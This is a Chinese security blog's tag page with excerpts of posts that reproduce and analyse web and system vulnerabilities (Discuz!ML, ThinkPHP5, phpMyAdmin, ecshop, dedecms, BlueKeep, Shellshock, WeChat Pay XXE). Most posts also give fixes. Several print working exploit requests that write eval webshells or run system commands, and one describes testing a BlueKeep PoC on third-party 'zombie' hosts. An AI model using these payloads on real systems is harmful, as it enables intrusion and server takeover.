Tag:漏洞分析

Tag (漏洞分析)'s result:

discuz ml RCE漏洞重现及分析

0x00 概述 7月11日,在网上发现discuz ml(多国语言版)出现RCE漏洞的消息,漏洞在于cookie的language可控并且没有严格过滤,导致可以远程代码执行。   0x01 影响范围 Discuz!ML v.3.4 , Discuz!ML v.3.2 , Discuz!ML v.3.3 product of codersclub.org   0x02 漏洞重现 http://xxx.org/discuzx/portal.php select english or other language   让请求cookie含有xxxx_xxxx_language visit http://xxx.org/discuzx/portal.php again change:4gH4_0df5_language=en’.phpinfo().’; or 4gH4_0df5_language=en’.system(‘whoami&&pwd’).’;   getshell LSmZ_2132_language=es’.file_put_contents%28%27xxxxxxx.php%27%2Curldecode%28%27%253c%253fphp%2520@eval%28%2524_%25%35%30%25%34%66%25%35%33%25%35%34%255b%2522x%2522%255d%29%253b%253f%253e%27%29%29.’;     0x03 检测工具 https://github.com/theLSA/discuz-ml-rce   0x04 漏洞分析 Discuz ml v3.4 为例 dizcuz-ml-34\upload\source\module\portal\portal_index.php:32 include_once template(‘diy:portal/index’); 包含了template函数渲染的文件 进入template函数看看 dizcuz-ml-34\upload\source\function\function_core.php:524 /*vot*/ $cachefile = ‘./data/template/’.DISCUZ_LANG.’_’.(defined(‘STYLEID’) ? STYLEID.’_’ : ‘_’).$templateid.’_’.str_replace(‘/’, ‘_’, $file).’.tpl.php’; if($templateid != 1 && !file_exists(DISCUZ_ROOT.$tplfile) && !file_exists(substr(DISCUZ_ROOT.$tplfile, 0, -4).’.php’) && !file_exists(DISCUZ_ROOT.($tplfile = $tpldir.$filebak.’.htm’))) { $tplfile = ‘./template/default/’.$filebak.’.htm’; } if($gettplfile) { return $tplfile; } checktplrefresh($tplfile, $tplfile, @filemtime(DISCUZ_ROOT.$cachefile), $templateid, $cachefile, $tpldir, $file); return DISCUZ_ROOT.$cachefile; 返回了缓存文件名 根据poc可知是language可控,那就是DISCUZ_LANG可控了。 再看看在哪里赋值 dizcuz-ml-34\upload\source\class\discuz\discuz_application.php:304 // set language from cookies   if($this->var[‘cookie’][‘language’]) {   $lng = strtolower($this->var[‘cookie’][‘language’]); 从cookie-language取值给$lng 338 $this->var[‘oldlanguage’] = $lng; // Store Old Language Value for compare   // define DISCUZ_LANG define(‘DISCUZ_LANG’, $lng);   // set new language to cookie dsetcookie(‘language’, $lng);   // set new language variables $this->var[‘language’] = $lng; $lng赋值给了DISCUZ_LANG 根据poc q3KZ_2132_language=sc’.system(‘whoami’).’; 最终include_once ‘sc’.system(‘whoami’).’_1_1_common_header_forum_index.tpl.php’; 包含闭合引号导致执行了代码。 /× 执行代码这部分存疑,参考https://www.anquanke.com/post/id/181887 ×/   0x05 防御方案 1. 关注 https://bitbucket.org/vot/discuz.ml/commits/all 2.过滤特殊字符(串)如单引号、双引号、括号,点,system、php、eval等。 3.禁止可控变量DISCUZ_LANG作为缓存文件名的一部分。   0x06 结语 Easy to rce!……

RDP RCE(CVE-2019-0708)集锦

//Really DO Patch ^_^ 0x00 概述 20190514,微软发布补丁,修复了一个严重的漏洞-rdp远程代码执行。该漏洞无需身份认证和用户交互,可能形成蠕虫爆发,影响堪比wannycry。   0x01影响范围 Windows 7 Windows Server 2008 R2 Windows Server 2008 Windows Server 2003 Windows XP   0x02 漏洞重现 poc已出,重现几个网上主流的poc: 1)360的0708detector.exe(无损扫描工具) //感觉不是很稳定,对同个ip有时成功有时不成功…… 一些根据此工具写的批量 https://github.com/biggerwing/CVE-2019-0708-poc https://github.com/autoing/CVE-2019-0708-POC   2)https://github.com/zerosum0x0/CVE-2019-0708 包含了msf的rb git clone https://github.com/zerosum0x0/CVE-2019-0708.git cd CVE-2019-0708/rdesktop-fork-bd6aa6acddf0ba640a49834807872f4cc0d0a773/ ./bootstrap ./configure –disable-credssp –disable-smartcard make ./rdesktop 192.168.1.7:3389 可能要apt-get install libssl1.0.0 libssl-dev 用scan_with_docker.py可以批量 //较稳定   3)https://github.com/Ekultek/BlueKeep.git 可以批量 先安装impacket https://github.com/SecureAuthCorp/impacket pip install -r requestments.txt pip install . vim bluekeep_poc.py 删除重复的一个impacket   4)https://github.com/robertdavidgraham/rdpscan 可批量 //较不稳定   5)https://github.com/Leoid/CVE-2019-0708 pip3 install impacket 6)https://github.com/n1xbyte/CVE-2019-0708 //20190531新增蓝屏poc,用03standx86测试出现 OpenSSL.SSL.SysCallError: (104, ‘ECONNRESET’) 应该是这个03系统问题 直接找几个僵尸主机测一测 //效果不错! 7)https://github.com/closethe/CVE-2019-0708-POC 试了几个都是timed out,可能是poc未完善…… 其他一些poc(未测试): https://github.com/skyshell20082008/CVE-2019-0708-PoC-Hitting-Path https://github.com/blacksunwen/CVE-2019-0708(和5基本一样) https://github.com/Jaky5155/cve-2019-0708-exp https://github.com/fourtwizzy/CVE-2019-0708-Check-Device-Patch-Status https://github.com/trickster0/CVE-2019-0708 https://github.com/algo7/bluekeep_CVE-2019-0708_poc_to_exploit(powershell)   截至发文(20190605),尚未发现公开可用exp,拭目以待! 360的某大神已搞出exp,能在win7 x64弹框了,未公开。   20190606,发现msf可获取meterpreter的exp,未公开。 https://twitter.com/zerosum0x0/status/1135866953996820480   /* 还有一堆假exp,利用ms12-020、os.system()、alert、假GUI、骗star等等。 www.cve-2019-0708.com(20190529无法访问了)据说是假的! */   0x03 漏洞分析   rdp基础 RDP 协议基于 T.128(T.120 协议族)提供多通道通信,并进行了拓展。 远程桌面协议(RDP)支持客户端建立点到点的连接,并定义了通信双方在虚拟通道间的数据通信方式,。这种虚拟通道为双向数据通道,可以扩展RDP的功能。Windows Server 2000在RDP v5.1中定义了32种静态虚拟通道(SVC),但是因为将来要定义的动态虚拟通道数量的限制,因此专用的通道svc数量受到一定限制。SVC是在会话开始时创建的,并在会话终止前保持不变,但DVC不同,因为它是根据用户需求来创建和删除的。 服务端在初始化阶段,会创建MS_T120, Index 为 31 的通道。在收到MCS Connect Initial数据封包后进行通道创建和绑定操作。 在IcaBindVirtualChannels函数中进行绑定时,IcaFindChannelByName函数只根据通道名进行通道查找。当通道名为MS_T120(不区分大小写)时,会找到系统内部通道 MS_T120的通道并与之绑定,绑定后,通道索引会即被更改为新的通道索引。 参考mcafee,seebug   本人用win7sp1 x64进行测试 查看termdd.sys,有修改 对比补丁前后 13628这个子模块变化比较大,先看看 发现加了stricmp比较,和ms_t120这个通道比较,为0就用写死的v19即31(rdp通道编号)作为第三个参数传入13ec8这个子模块,所以这里可以看出漏洞点应该是ms_t120这个通道,是就触发漏洞。 //bindiff没解析出_IcaBindChannel和_IcaBindVirtualChannels。 在安全机制启用前,系统初始化了RDP连接序列,并完成通道的建立,这导致了该漏洞可形成蠕虫。 在rdp的gcc协商初始化序列中,ms_t120这个svc会被绑定作为引用通道31。 这个通道编号31在microsoft内部使用,在客户端请求连接中不会出现ms_t120这个svc。 但是在GCC协商初始化的过程中,客户端提供的通道名称并不在服务器端的白名单中,这意味着攻击者将能够设置另一个名为“MS_T120”的不在编号31的SVC通道,这导致目标系统发生堆内存崩溃并实现远程代码执行。 MS_T120引用通道会在rdpwsx.dll中创建,堆内存也会在rdpwp.sys中分配内存池。当MS_T120引用通道在通道编号非31的场景下建立时,便会发生堆内存崩溃。 微软在termdd.sys的_IcaBindVirtualChannels和_IcaRebindVirtualChannels两个函数中为客户端的连接请求部分添加了针对通道名称“MS_T120”的检查代码,来保证ms_t120是和通道31进行绑定。   利用wireshark获取rdp数据包(winn2003stand without 0708 patch) 正常rdp连接: tcp三次握手后发送rdp数据,利用decode as tpkt解出rdp数据包 //第二遍tcp握手后(neg req=fff)才开始发clientdata 没有ms_t120通道信息     利用360无损检查工具发送的数据包(neg req=fff) 此处本人推测ms_t120通道编号是1,channelCount就是channelDefArray元素数,验证漏洞存在! 利用./rdesktop(第二个poc)对某僵尸主机发送的数据包: 此时推测ms_t120通道编号为2,验证漏洞存在! 利用蓝屏crashpoc.py对某僵尸主机发送的数据包: 本人才疏学浅,对rdp不甚了解,只能从浅层大概分析,高手可参考相关分析资料。 相关分析资料: 英文: https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rdp-stands-for-really-do-patch-understanding-the-wormable-rdp-vulnerability-cve-2019-0708/(推荐) https://medium.com/@straightblast426/a-debugging-primer-with-cve-2019-0708-ccfa266682f6 https://wazehell.io/2019/05/22/cve-2019-0708-technical-analysis-rdp-rce/ https://www.malwaretech.com/2019/05/analysis-of-cve-2019-0708-bluekeep.html……

ThinkPHP5 RCE漏洞重现及分析

0x00 概述 近日,thinkphp发布了安全更新,修复一个可getshell的rce漏洞,由于没有有效过滤$controller,导致攻击者可以利用命名空间的方式调用任意类的方法,进而getshell。 0x01 影响范围 5.x < 5.1.31 5.x < 5.0.23 以及基于ThinkPHP5 二次开发的cms,如AdminLTE后台管理系统、thinkcmf、ThinkSNS等。 shodan一下:   0x02 漏洞重现 win7+thinkphp5.1.24 (1)执行phpinfo /index.php/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 (2)写一句话木马 /index.php/?s=index/\think\template\driver\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>’   debian+thinkphp5.1.30 (1)执行phpinfo /index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 (2)写一句话木马 /index.php/?s=index/\think\template\driver\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?> win7+thinkphp5.0.16 (1)执行phpinfo /index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 (2)写一句话木马 /index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>   0x03 修复方案 直接git/composer更新 手工修复 5.1版本 在think\route\dispatch\Url类的parseUrl方法,解析控制器后加上 if ($controller && !preg_match(‘/^[A-Za-z](\w|\.)*$/’, $controller)) { throw new HttpException(404, ‘controller not exists:’ . $controller);}   5.0版本 在think\App类的module方法的获取控制器的代码后面加上 if (!preg_match(‘/^[A-Za-z](\w|\.)*$/’, $controller)) { throw new HttpException(404, ‘controller not exists:’ . $controller);}   如果改完后404,尝试修改正则,加上\/ if (!preg_match(‘/^[A-Za-z\/](\w|\.)*$/’, $controller)) {   0x04 漏洞分析 Thinkphp5.1.24: 先看补丁: 对controller添加了过滤 查看路由调度: Module.php:83 public function exec() { // 监听module_init $this->app[‘hook’]->listen(‘module_init’);   try { // 实例化控制器 $instance = $this->app->controller($this->controller, $this->rule->getConfig(‘url_controller_layer’), $this->rule->getConfig(‘controller_suffix’), $this->rule->getConfig(’empty_controller’)); } catch (ClassNotFoundException $e) { throw new HttpException(404, ‘controller not exists:’ . $e->getClass()); } …… $data = $this->app->invokeReflectMethod($instance, $reflect, $vars);   return $this->autoResponse($data); }); $instance = $this->app->controller 实例化控制器以调用其中的方法 查看controller方法 App.php:719 public function controller($name, $layer = ‘controller’, $appendSuffix = false, $empty = ”) { list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix);   if (class_exists($class)) { return $this->__get($class); } elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) {……

phpmyadmin4.8.x LFI to RCE

0x00 概述 6月下旬,chamd5团队公开了phpmyadmin4.8的LFI漏洞(须登录),可导致RCE,使用url双重编码绕过限制进行文件包含,再包含session文件或数据库表frm文件即可RCE。   0x01 漏洞重现 环境:win7+xampp+phpmyadmin4.8.1 Payload: http://127.0.0.1:8888/phpmyadmin481/index.php?target=export.php%25%33%66/../../../../../../../../../windows/system.ini 成功包含system.ini。 进入下一阶段:命令执行 方式一:包含frm 先查看data文件路径:show variables like ‘%datadir%’; 在test库中新建pmatest1表,其中一个字段名设置成<?php @eval($_GET[‘lsa’]);?> 再包含mysql/data/test/pmatest1.frm即可rce, payload: http://127.0.0.1:8888/phpmyadmin481/index.php?lsa=phpinfo();&target=export.php%25%33%66/../../../../../../../../../../xampp/mysql/data/test/pmatest1.frm 方式二:包含sess文件 利用php用文件存session的特性,在phpmyadmin里的操作都记录在sess_pmavalue中,该文件保存的路径视情况而定: xmapp中保存在 xampp/tmp/sess_pmavalue phpstudy: /phpstudy/PHPTutorial/tmp/tmp wamp: /wamp64/tmp 在Linux下,常见的文件路径为: /var/lib/php/session/ 在phpmyadmin中执行查询 SELECT ‘<?php @eval($_GET[lsa]); exit();?>’ 被记录在sess_pmavalue中 payload: http://127.0.0.1:8888/phpmyadmin481/index.php?lsa=phpinfo();&target=export.php%25%33%66/../../../tmp/sess_08vi4klpgs54l05fqq5p34d4ia //因为export.php%3f当成了目录,所以要多一个../ /*使用绝对路径也可以,如: http://127.0.0.1:8888/phpmyadmin481/index.php?lsa=phpinfo();&target=export.php%253f/../../../../../../../../../../../../../../../../xampp/tmp/sess_fne7a5ah109htpaqndc5jpi8fn */ //不知为何用写入$_POST包含就会跳转首页……   0x02 漏洞分析 漏洞文件: .\index.php:55 // If we have a valid target, let’s load that script instead if (! empty($_REQUEST[‘target’]) && is_string($_REQUEST[‘target’]) && ! preg_match(‘/^index/’, $_REQUEST[‘target’]) && ! in_array($_REQUEST[‘target’], $target_blacklist) && Core::checkPageValidity($_REQUEST[‘target’]) ) { include $_REQUEST[‘target’]; exit; } target符合4个条件就会includ 1. 是字符串 2. 不以index开头 3. 不在 $target_blacklist名单里 4. 符合checkPageValidity函数要求   找checkPageValidity函数: libraries\classes\Core.php:443 public static function checkPageValidity(&$page, array $whitelist = []) { if (empty($whitelist)) { $whitelist = self::$goto_whitelist; } if (! isset($page) || !is_string($page)) { return false; }   if (in_array($page, $whitelist)) { return true; }   $_page = mb_substr( $page, 0, mb_strpos($page . ‘?’, ‘?’) ); if (in_array($_page, $whitelist)) { return true; }   $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . ‘?’, ‘?’) ); if (in_array($_page, $whitelist)) { return true; }   return false; } 需要返回true,三个if有一个满足true就ok了,都需要满足whitelist: class Core { /** * the whitelist for goto parameter……

ecshop 2.x远程代码执行漏洞重现及分析

本文参考自:ringk3y.com/2018/08/31/ecshop2-x代码执行/ //本文漏洞分析部分利用的payload/exp来源于此文。 0x00 概述 8月31日,网上爆出ecshop远程代码执行漏洞,经测试,该漏洞利用难度低,威力巨大可直接getshell,本文对此进行重现及分析。 0x01 影响范围 ecshop 2.x   0x02 漏洞重现 SQL注入: 报错注入payload: Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:”num”;s:72:”0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)– -“;s:2:”id”;i:1;} RCE getshell: //工具https://github.com/theLSA/ecshop-getshell   0x03 修复方案 intval $arr[id]和$arr[num]   0x04 漏洞分析 报错注入payload: Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:”num”;s:72:”0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)– -“;s:2:”id”;i:1;} 环境:ecshop 2.7.3 漏洞文件: ecshop273\user.php:302 elseif ($action == ‘login’) { if (empty($back_act)) { if (empty($back_act) && isset($GLOBALS[‘_SERVER’][‘HTTP_REFERER’])) { $back_act = strpos($GLOBALS[‘_SERVER’][‘HTTP_REFERER’], ‘user.php’) ? ‘./index.php’ : $GLOBALS[‘_SERVER’][‘HTTP_REFERER’]; } else { $back_act = ‘user.php’; }   } $back_act参数来源于Referer,可控。 $smarty->assign(‘back_act’, $back_act); $smarty->display(‘user_passport.dwt’); 赋值展示 ecshop273\includes\cls_template.php:70 function assign($tpl_var, $value = ”) { if (is_array($tpl_var)) { foreach ($tpl_var AS $key => $val) { if ($key != ”) { $this->_var[$key] = $val; } } } else { if ($tpl_var != ”) { $this->_var[$tpl_var] = $value; } } }   function display($filename, $cache_id = ”) { $this->_seterror++; error_reporting(E_ALL ^ E_NOTICE);   $this->_checkfile = false; $out = $this->fetch($filename, $cache_id);   if (strpos($out, $this->_echash) !== false) { $k = explode($this->_echash, $out); foreach ($k AS $key => $val) { if (($key % 2) == 1) { $k[$key] = $this->insert_mod($val); } } $out = implode(”, $k); } error_reporting($this->_errorlevel); $this->_seterror–;   echo $out; } 关键在于: $out = $this->fetch($filename, $cache_id);     if (strpos($out, $this->_echash) !==……

ueditor getshell漏洞重现及分析

0x00 概述 8月21日,网上爆出ueditor .net版本getshell漏洞,由于只校验ContentType而没校验文件后缀导致getshell。   0x01 漏洞重现 Payload: <form action=”http://www.xxx.com/controller.ashx?action=catchimage” enctype=”application/x-www-form-urlencoded” method=”POST”> <p>shell addr:<input type=”text” name=”source[]” /></p > <input type=”submit” value=”Submit” /> </form> 图片马x.jpg放在自己服务器上 提交http://www.domain.top/x.jpg?.aspx 返回: 菜刀连接:   0x02 修复方案 增加文件扩展名校验(白名单)   0x03 漏洞分析 ueditor1_4_3_3-utf8-net\utf8-net\net\controller.ashx <%@ WebHandler Language=”C#” Class=”UEditorHandler” %> using System; using System.Web; using System.IO; using System.Collections; using Newtonsoft.Json; public class UEditorHandler : IHttpHandler { public void ProcessRequest(HttpContext context) { Handler action = null; switch (context.Request[“action”]) { case “config”: action = new ConfigHandler(context); break; case “uploadimage”: action = new UploadHandler(context, new UploadConfig() { AllowExtensions = Config.GetStringList(“imageAllowFiles”), PathFormat = Config.GetString(“imagePathFormat”), SizeLimit = Config.GetInt(“imageMaxSize”), UploadFieldName = Config.GetString(“imageFieldName”) }); break; case “uploadscrawl”: action = new UploadHandler(context, new UploadConfig() { AllowExtensions = new string[] { “.png” }, PathFormat = Config.GetString(“scrawlPathFormat”), SizeLimit = Config.GetInt(“scrawlMaxSize”), UploadFieldName = Config.GetString(“scrawlFieldName”), Base64 = true, Base64Filename = “scrawl.png” }); break; case “uploadvideo”: action = new UploadHandler(context, new UploadConfig() { AllowExtensions = Config.GetStringList(“videoAllowFiles”), PathFormat = Config.GetString(“videoPathFormat”), SizeLimit = Config.GetInt(“videoMaxSize”), UploadFieldName = Config.GetString(“videoFieldName”) }); break; case “uploadfile”: action = new UploadHandler(context, new UploadConfig() { AllowExtensions = Config.GetStringList(“fileAllowFiles”), PathFormat = Config.GetString(“filePathFormat”), SizeLimit = Config.GetInt(“fileMaxSize”), UploadFieldName = Config.GetString(“fileFieldName”) }); break; case “listimage”: action =……

重温经典:shellshock漏洞重现及分析

0x00 概述 2014年9月24日,网上爆出shellshock漏洞,掀起一阵波澜。 cve-2014-6721:由于数据没有和代码分离,导致bash的env在处理自动导入函数完成后继续执行后面的代码(命令)。 cve-2014-7169:利用语法报错绕过cve-2014-6721。 简单检测: 0. 查看bash版本是否<4.3 bash –version <4.3则可能存在漏洞   1. env x='() { :;}; echo vulnerable’ bash -c “echo this is a test” 如果输出了vulnerable则存在漏洞(6271)。   2. env X='() { (a)=>\’ sh -c “echo date”; cat echo 如果当前目录生成了echo文件并且文件内容就是当前时间,则存在漏洞(7169)   0x01 触发条件 服务允许用户定义环境变量。 服务会调用bash。(创建bash子进程) 服务调用子bash时加载了用户定义的环境变量。 //如CGI会把HTTP包头部字段env为临时环境变量,并在里面启动子bash,这样就触发了漏洞。   0x02影响范围 Bash<4.3 cgi,dhcp,openssh等可与bash交互的应用。   0x03 漏洞重现 环境:vulhub   0x04 修复方案 升级bash   0x05 漏洞分析 export a=aaa: 使变量a在子bash中也可见。 env a=aaa 设置环境变量a,同时export。 6721测试payload: env x='() { :;}; echo vulnerable’ bash -c “echo this is a test” 以() {开头的定义是函数导出为环境变量,而漏洞bash在处理函数环境变量时并没以};结束,再执行了后面的代码“echo vulnerable”。 bash -c是创建子bash以触发漏洞(echo vulnerable)。 子bash(进程)在复制父bash(进程)会读取父bash(进程)所有环境变量并复制到自己的进程空间,过程中执行了函数体外的代码(命令)。 漏洞函数:parse_and_execute   7169测试payload: env X='() { (a)=>\’ sh -c “echo date”; cat echo X='() { (a)=>\’ X这个变量的值就是 () { (a)=>\,其中的 (a)=这个东西目的就是为了让bash的解释器出错(语法错误),出错后,在缓冲区中就会只剩下了 “>\”这两个字符。于是,bash会把后面的命令echo date换个行放到这个缓冲区中,然后执行。 相当于: >\ echo date 即>echo date 重定向,也就是 date > echo   0x06 结语 古老的漏洞,现在估计非常少了,但是运气爆发或许就碰到了呢。 Ps:在服务器领域占有不少份额的大多数FreeBSD 和NetBSD已经默认关闭了自动导入函数的功能,以应对未来可能出现的漏洞。   0x07 参考资料 https://wps2015.org/drops/drops/Shellshock漏洞回顾与分析测试.html https://yq.aliyun.com/articles/53608# https://coolshell.cn/articles/11973.html codefine.site/2509.html https://blog.csdn.net/u011721501/article/details/39558303 https://blog.csdn.net/Anprou/article/details/72819989 www.antiy.com/response/Bash Shellshock(cve-2014-6271)_V1.5.pdf www.91ri.org/10922.html

微信支付流程及其XXE漏洞

0x00 概述 7月4日,网上爆出微信支付sdk存在xxe漏洞,原因是商户用来获取微信支付结果的notify_url接口可以接受XML数据,而且未禁用外部实体,利用该漏洞可以读取支付服务器文件,甚至可能获取商户key实现0元支付。   0x01 微信支付流程 以微信公众号支付为例,其他支付方式大同小异 基本流程: 1.商户后台携带支付数据调用微信统一下单api:https://api.mch.weixin.qq.com/pay/unifiedorder获取prepay_id。 2.调起微信支付内置js,点支付输密码,支付成功(微信客户端与微信服务器交互)。 3.微信服务器向notify_url(回调地址)返回支付结果通知给商户后台(须验签),这一步才是最终交易成功。 微信支付签名算法://—–来自https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=4_3————————— 签名生成的通用步骤如下: 第一步,设所有发送或者接收到的数据为集合M,将集合M内非空参数值的参数按照参数名ASCII码从小到大排序(字典序),使用URL键值对的格式(即key1=value1&key2=value2…)拼接成字符串stringA。 特别注意以下重要规则: ◆ 参数名ASCII码从小到大排序(字典序); ◆ 如果参数的值为空不参与签名; ◆ 参数名区分大小写; ◆ 验证调用返回或微信主动通知签名时,传送的sign参数不参与签名,将生成的签名与该sign值作校验。 ◆ 微信接口可能增加字段,验证签名时必须支持增加的扩展字段 第二步,在stringA最后拼接上key得到stringSignTemp字符串,并对stringSignTemp进行MD5运算,再将得到的字符串所有字符转换为大写,得到sign值signValue。 ◆ key设置路径:微信商户平台(pay.weixin.qq.com)–>账户设置–>API安全–>密钥设置 //—————————————————————————————————————————-   0x01 微信支付XXE漏洞 此漏洞发生在上述支付流程第三步,攻击者向notify_url发送恶意xml数据,形成xxe,可能获取key达到0元支付的效果。 漏洞文件: WXPayUtil.java:38 关键代码: public static Map<String, String> xmlToMap(String strXML) throws Exception { try { Map<String, String> data = new HashMap<String, String>(); DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance(); DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder(); InputStream stream = new ByteArrayInputStream(strXML.getBytes( “UTF-8”)); org.w3c.dom.Document doc = documentBuilder.parse(stream); doc.getDocumentElement().normalize(); NodeList nodeList = doc.getDocumentElement().getChildNodes(); for (int idx = 0; idx < nodeList.getLength(); ++idx) { Node node = nodeList.item(idx); if (node.getNodeType() == Node.ELEMENT_NODE) { org.w3c.dom.Element element = (org.w3c.dom.Element) node ; data.put(element.getNodeName(), element.getTextContent ()); } } try { stream.close(); } catch (Exception ex) { // do nothing } return data; } catch (Exception ex) { WXPayUtil.getLogger().warn(“Invalid XML, can not convert to map. Error message: {}. XML content: {}”, ex.getMessage(), strXML); throw ex; } } ] 解析xml没有禁用外部实体…… 收到支付结果通知的官方demo: 收到支付结果通知时,需要验证签名,可以这样做: “`java import com.github.wxpay.sdk.WXPay; import com.github.wxpay.sdk.WXPayUtil; import java.util.Map; public class WXPayExample { public static void main(String[] args) throws Exception { String notifyData = “….”; // 支付结果通知的xml格式数据 MyConfig config =……

组合拳:dedecms重置管理员后台密码

0x00 概述 2018年1月,网上爆出dedecms v5.7 sp2的前台任意用户密码重置和前台任意用户登录漏洞,加上一个管理员前台可修改其后台密码的安全问题,形成漏洞利用链,这招组合拳可以重置管理员后台密码。 先来看看整体利用流程: 重置admin前台密码—>用admin登录前台—>重置admin前后台密码   0x01 漏洞链重现及分析 首先修改管理员前台密码,参考dedecms v5.7 sp2前台任意用户密码重置漏洞重现及分析,重置管理员前台密码为test123 再利用dedecms v5.7 sp2前台任意用户登录漏洞以管理员身份登录前台, 最后重置管理员密码,这里可以修改前台(member)和后台(admin)密码,原登录密码就是刚刚重置的前台密码test123,修改新密码为010101,成功登录管理后台! 看看出问题的文件 member\edit_baseinfo.php:115 关键代码: $query1 = “UPDATE `#@__member` SET pwd=’$pwd’,sex=’$sex'{$addupquery} where mid='”.$cfg_ml->M_ID.”‘ “; $dsql->ExecuteNoneQuery($query1); //如果是管理员,修改其后台密码 if($cfg_ml->fields[‘matt’]==10 && $pwd2!=””) { $query2 = “UPDATE `#@__admin` SET pwd=’$pwd2′ where id='”.$cfg_ml->M_ID.”‘ “; $dsql->ExecuteNoneQuery($query2); } 这里旧密码是和member表的pwd比对,已经被利用漏洞前台重置,可以重置密码,由于是管理员,所以前台和后台密码都重置了。   0x02 修复方案 参考组合拳第一式和第二式。 将管理员后台地址改复杂。   0x03 结语 又是一次组合攻击,再一次证明,单一漏洞危害可能有限,但是多个漏洞组合起来威力将大大增强!所以不要轻视任何一个微小漏洞,也不要放过任何一个可能存在漏洞的地方。   0x04 参考资料 https://xianzhi.aliyun.com/forum/topic/1961 www.freebuf.com/column/161703.html https://xianzhi.aliyun.com/forum/topic/1959 https://blog.formsec.cn/2018/01/11/DedeCMS-password-reset/ https://lorexxar.cn/2018/01/19/dedecms-vul1/

dedecms前台任意用户登录漏洞重现及分析

0x00 概述 2018年1月,网上爆出dedecms v5.7 sp2前台任意用户登录漏洞,利用此漏洞可以让管理员登录前台,是重置管理员后台密码的组合拳中的第二式。 组合拳第一式:dedecms前台任意用户密码重置漏洞重现及分析   0x01漏洞重现 需要先将用户0000001通过审核,再访问 http://127.0.0.1:8999/lsawebtest/vulnenvs/dedecms/dedecms-v57-utf8-sp2-full/member/index.php?uid=0000001 获取cookie中last_vid_ckMd5值48741df1f12d04bd 再登录0000001帐号 然后设置DeDeUserID_ckMd5为last_vid_ckMd5的值,并设置DedeUserID为0000001。 成功以管理员登录前台   0x02修复方案 若不影响业务,可以尝试注释下面代码 member/index.php:163~164 PutCookie(‘last_vtime’, $vtime, 3600*24, ‘/’); PutCookie(‘last_vid’, $last_vid, 3600*24, ‘/’); 关注官方补丁。   0x03 漏洞分析 判断用户登录的函数在 include\memberlogin.class.php:292 function IsLogin() { if($this->M_ID > 0) return TRUE; else return FALSE; } 再到138行 class MemberLogin { var $M_ID; var $M_LoginID; var $M_MbType; var $M_Money; var $M_Scores; var $M_UserName; var $M_Rank; var $M_Face; var $M_LoginTime; var $M_KeepTime; var $M_Spacesta; var $fields; var $isAdmin; var $M_UpTime; var $M_ExpTime; var $M_HasDay; var $M_JoinTime; var $M_Honor = ”; var $memberCache=’memberlogin’; //php5构造函数 function __construct($kptime = -1, $cache=FALSE) { global $dsql; if($kptime==-1){ $this->M_KeepTime = 3600 * 24 * 7; }else{ $this->M_KeepTime = $kptime; } $formcache = FALSE; $this->M_ID = $this->GetNum(GetCookie(“DedeUserID”)); $this->M_LoginTime = GetCookie(“DedeLoginTime”); $this->fields = array(); $this->isAdmin = FALSE; if(empty($this->M_ID)) { $this->ResetUser(); }else{ $this->M_ID = intval($this->M_ID); if ($cache) { $this->fields = GetCache($this->memberCache, $this->M_ID); if( empty($this->fields) ) { $this->fields = $dsql->GetOne(“Select * From `#@__member` where mid='{$this->M_ID}’ “); } else { $formcache = TRUE; } } else { $this->fields = $dsql->GetOne(“Select * From `#@__member` where mid='{$this->M_ID}’ “); } 可以看到 $this->M_ID = $this->GetNum(GetCookie(“DedeUserID”)); 在看看GetNum函数,在398行 function GetNum($fnum){ $fnum……